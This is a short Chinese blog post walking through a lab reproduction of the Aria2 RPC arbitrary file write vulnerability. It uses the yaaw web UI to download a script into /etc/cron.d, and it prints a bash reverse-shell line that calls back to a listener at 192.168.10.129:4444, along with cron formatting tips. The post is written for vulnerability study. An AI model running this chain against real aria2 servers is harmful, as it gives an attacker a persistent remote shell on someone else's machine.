Aria2 任意文件写入漏洞
Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。
参考文章:https://paper.seebug.org/120/
环境搭建
启动漏洞环境:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518092248087-1045528015.png)
6800是aria2的rpc服务的默认端口,环境启动后,访问http://your-ip:6800/
,发现服务已启动并且返回404页面。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518092248079-1952294397.png)
漏洞复现
因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如http://binux.github.io/yaaw/demo/。打开yaaw,点击配置按钮,填入运行aria2的目标域名:http://your-ip:6800/jsonrpc
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518092248091-505360192.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518092248077-1636359144.png)
然后点击Add,增加一个新的下载任务。在Dir的位置填写下载至的目录,File Name处填写文件名。比如,我们通过写入一个crond任务来反弹shell。
先生成一个反弹文件,将反弹文件放入服务器,开启http服务。
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.10.129/4444 0>&1
设置好下载链接,这里将反弹文件下载到/etc/cron.d/下,文件名为shell1,/etc/cron.d目录下的所有文件将被作为计划任务配置文件读取,等待一分钟左右,反弹shell。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518092248098-1673530584.png)
如果反弹不成功,注意crontab文件的格式,以及换行符必须是\n
,且文件结尾需要有一个换行符。
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283371.html